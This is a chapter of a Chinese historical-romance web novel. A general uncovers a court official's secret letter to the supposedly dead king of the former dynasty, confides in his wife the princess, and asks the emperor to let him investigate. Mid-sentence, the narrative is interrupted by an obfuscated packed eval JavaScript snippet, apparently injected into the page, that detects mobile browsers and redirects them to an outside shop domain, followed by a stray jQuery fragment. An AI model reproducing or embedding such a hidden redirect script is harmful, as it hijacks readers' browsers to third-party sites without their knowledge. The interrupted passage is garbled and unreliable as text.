文趣网 > 其他小说 > 血月归 > 42. 余孽仍存
    自永安寺祈福之行结束之后,何晋衍祁念禾二人之间的关系,肉眼可见地比先前还要更为亲密了,他们在府中的每一日,都是那么温馨幸福。

    安宁祥和的日子就这样过去了两个月,直到两月后,季林风送来了一封信。

    “主帅,此密信乃是驻守西疆的安国军将士,于一月前截获的。西疆防线的严格程度人尽皆知,可那人身手极其灵敏,险些挣脱将士们的束缚,想必是有备而来。

    安国军副帅见那被俘获之人神色行踪皆可疑,于是将此信拆开阅读了,随后立即遣人快马加鞭,将此心送至京中。此信的具体内容,还请主帅过目。”

    何晋衍听闻,后背隐隐冒出来一层冷汗。直觉告诉他,这绝对是出事了。

    他穿越来此时,西疆战局已定,他对此事没有任何的亲身了解,仅是在战后听得季林风为他复盘过,知晓这是一场长达五年的,剿灭前朝欲复辟余孽的战争。

    他接过季林风递过来的信,摊开信纸仔细阅读,发现此信关乎的情势实在是太严重了。

    这是一封朝中重臣与前朝余孽的私通信!

    信纸多达十张,每一页都密密麻麻写满了字,将这一年以来京中朝廷之上的消息,以及自己用尽心思筹备好的新复辟计划,于信中尽数告知了收信人。

    这一年以来,西江边线安国军们只截获过这一封私通信,且这其中信息量大到了恐怖的程度。想必是那私通之人,眼见西疆战事风波已彻底平息,便将攒了一年未说的计划,写成了这一封信,准备厚积薄发赌这一把。

    原来,那所谓的前朝大将军心存恨意,想要灭掉大申复辟自己王朝的战争缘由,根本就是个幌子。真正欲复辟之人,其实是一直隐藏在暗处操纵着这一切的,这封信的主人:前朝王周时魏。

    他居然一直没死,甚至一直用着那前朝幸存的将军作为棋子,打着这场长达五年的复辟之战。

    “真是好一出金蝉脱壳,居然骗过了整个大申这么多年!”

    何晋衍被这个冲击力太过强悍的消息,震惊到了毛骨悚然的地步。不知道皇帝若是知道了此事,得愤怒成什么样。

    “西疆战士们可还有从那送密信之人口中审出些什么?”

    何晋衍此时的音色,覆上了一层瘆人的冷冽,连他自己都有些被这副状态吓到了。

    季林风有些为难,但看主帅欲知答案的神情很强烈,有些支支吾吾地将自己收到的消息,详细告知于他:

    “副帅亲自审的那送信人,可是无论如何严刑逼供,那人都宁死不屈,没过多久就咬舌自尽了,还真是好气概。”

    何晋衍听闻证人已经自尽了的消息,重重地叹了口气,无奈地闭上了眼睛,喃喃自语地宽慰着自己:

    “不过眼下我们还有这封截获的私通信,也不算是证据尽失,应该不至于海底捞针了。”

    祁念禾此时正好走进书房,想来寻何晋衍用午膳,不曾想撞上了他十分难看的脸色,又看见一旁站着季林风,意识到不对劲了:

    “慎之,可是安国军中发生了什么要事?我见你脸色不佳,若是手头之事一时没有合适的解决方法,不如先去用午膳,冷静下来再考虑?”

    祁念禾柔和的声线,此时就是扑灭何晋衍心中焦急与愤怒的清澈泉水,使他的状态得以平静。

    “念禾所言极是。走,我们去用午膳。”他严肃到蹙紧了眉的脸上,终于现出了一丝笑意。对祁念禾说话的语气,也完全没有了方才的那般戾气与压迫感。

    何晋衍牵起祁念禾的手走出了书房,只留下季林风一个人,看呆了主帅神情瞬时之间的极大转变,被他状态的反差感惊到迈不开步子离开。

    “方才那人,真是主帅?”

    跟随主帅已十年有余,但季林风还是从未见过神情语气那般温柔细腻的何晋衍。以他这么长时间以来,对自己主帅性子的了解,怎么着都不会是一个能有如此含情脉脉神态之人。

    季林风甚至以为是自己恍惚之间听错看错了。可是望着何晋衍牵着祁念禾,两个人肩并肩远去的背影,他确信自己方才并不是出现了幻觉。

    “我们主帅这棵万年铁树,遇到了舒望公主,终于也是开花了。”

    这瞬间,季林风将所有烦心事全都抛在了脑后,看着如今幸福美满的安国大将军,感慨万千。

    何晋衍在餐桌前坐下,拿起筷子吃了几口饭菜,又想起来私通密信之事。他的眉头再一次蹙紧,筷子停在了嘴边,迟迟没有吃进去下一口。

    祁念禾发现了何晋衍在走神,眼见他筷子上夹着的菜马上就要掉了,赶紧轻声提醒他道:

    “慎之,我见你心事重重的,都无法专心用膳了。可否同我说说,究竟是发生什么了?”

    语毕,她轻轻用自己温热的掌心,覆住了他冰冷的手。

    何晋衍的思绪被祁念禾的声线拉了回来,眼神聚焦在一旁温柔的她身上,眉间舒展开来。

    朝中重臣私通怂恿前朝余孽复辟之事,事关国家安危,形势极为严重。何晋衍本不愿将负面情绪带给祁念禾,让她焦虑难安的。

    可是他思来想去,还是觉得祁念禾身为当朝大公主,理应要对此事知情。于是,他缓缓开口说道:

    “驻守西疆的安国军,截获了一封,朝廷重臣私通前朝余孽的密信。”

    “你说什么?”

    祁念禾像是遭受了雷击,惊得筷子都从手中掉落了。

    “安国军去年,不是已经将前朝余孽肃清了吗?怎么还会有这封密信的出现?”

    她还是一头雾水,多么希望此事只是一个玩笑。

    何晋衍反手将祁念禾本覆在自己手背上的小手,包在了自己的掌心里轻轻摩挲,让她平静下来。

    “先前那长达五年的前朝复辟之战,根本就不是所谓幸存的前朝将军,因对大申的不满而起兵。

    这一切,都是那全大申都以为,已经去世了的前朝王周时魏,受了这位朝中重臣的教唆,藏匿于阴暗之中指点全局的。

    现在这封私通信,已经到了我的手中。我也是方才看到季林风送来的信中内容,才了解此事的。”

    何晋衍语速平缓地,将这个重大的事件,精炼地总结给了祁念禾。

    “慎之,此事极为严重,事关重大。你可将其告知父皇了?”

    祁念禾好歹是沉稳的大公主,即便是突遇大事,也能尽快将头脑冷静下来,思考解决方法。

    何晋衍摇摇头,深深叹气:

    “我还未将此私通之事禀告圣上。念禾,其实此刻我心中很乱,实在不知该如何面对此事。

    毕竟无论如何,那与前朝余孽长达五年的西疆战事,是我作为主帅,率领安国军应战的。

    我们本以为,拿下了复辟的前朝大将军之首,便是将余孽彻底肃清,宣告着战事告捷。当时全大申上下,都为我们安国军的凯旋而庆贺。

    可是如今,却发现这帮欲复辟余孽的真正首领,现在仍然存

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17951283|211649||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    活着,而且是那前朝王。我率领的安国军,其实根本没有赢下这一战。

    身为安国大将军,我现在,实在无颜面对江东父老,更是无颜将此事告知圣上。”

    何晋衍越说,心中越是发慌,实在是太后怕了。

    他根本不敢想象,要是西疆的安国军没有拦下这封私通信,前朝王收到了它,在做好了万全准备之后,再次突袭大申,他们安国军该怎么办。

    祁念禾了解何晋衍,更是从他的语气和神情之中,看出他的后怕和无措,便柔声细语道:

    “慎之,你大可不必感到自责。此事不仅是你未发觉,全大申上下,甚至包括父皇,都未曾想到这前朝王,居然整了一出如此完美的金蝉脱壳。

    更可况,这封私通信已经被安国军截获了。眼下最关键的,是要尽快从朝廷之中,找出这个背叛我大申的逆贼。

    所以慎之,依我所见,你还是要尽快将这私通之事告知父皇。我向你保证,父皇定不会将此事怪到你头上的。”

    祁念禾自幼聪慧,拥有理政的天赋,她关心朝政局势,也时常能为皇帝提出有效的决策思路。她对于私通一事的这一番话,一针见血、字字在理,使得何晋衍茅塞顿开。

    “念禾,谢谢你。我知道该如何做了。”他不由自主地搓了搓掌心之中祁念禾的手,感谢她的提点。

    何晋衍如梦初醒,饭也顾不上吃了,立刻派人去宫中请旨求见,要尽快将这件事告知圣上。

    过了一会儿,何晋衍便带着那封私通信,出现在了宫中御书房。

    他快速地将事情总结给了圣上,皇帝祁晟听闻此事,瞬间坐直了身子,不敢相信自己听到的一切。

    “究竟是何等大胆逆贼,居然敢行如此私通怂恿前朝余孽复辟之事!迅速将此信拿去比对字迹,抓出这叛国之贼,不得有丝毫怠慢!”

    祁晟龙颜震怒,吓得在场官员们全都一言不发,赶紧按圣意办事。

    何晋衍满心惭愧地跪在殿前,向圣上请罪:

    “此事事关前朝余孽,而那长达五年的西疆之战,正是臣率领安国军应战的。如今知晓了前朝余孽并未肃清,先前那些凯旋之赏,臣实在受之有愧。

    更可况,眼下国家危机仍存,还请陛下,治臣护国不周全之罪。”

    祁晟看着在殿前跪着请罪的何晋衍,心中并无对他的怒气。

    “慎之,此事乃是朝中内鬼作祟,行事严谨、滴水不漏,也并非是你有意疏忽。你于西疆征战五年,期间从未怠慢战事,你也受了极重的伤,不必如此自责。”

    但何晋衍心中还是对此有愧,于是开口请旨道:

    “臣深谢陛下圣恩。只是臣心中仍深感愧疚,还愿陛下能给臣一个,将功补过、戴罪立功的机会。”

    “慎之且说吧。”祁晟微微抬手。

    “臣与前朝余孽交战长达五年,对敌方了解较深。此事与前朝王和西疆息息相关,臣又身为安国大将军,想必是与此案最关联之人。

    因此,臣希望向陛下请旨,着手调查清楚此私通之事的全貌,捉拿前朝王周时魏,给陛下以及全大申百姓一个交代。”

    祁晟思量片刻,觉得何晋衍的请求十分合理,他也是极为靠谱之人,便颔首同意了。

    “慎之所言在理,此事交由你去查办,朕也放心。如今得知前朝余孽仍存,慎之,你定要牢记方才所说的一切,将这私通之事彻底查清,护我大申安宁。”

    “臣,遵旨!”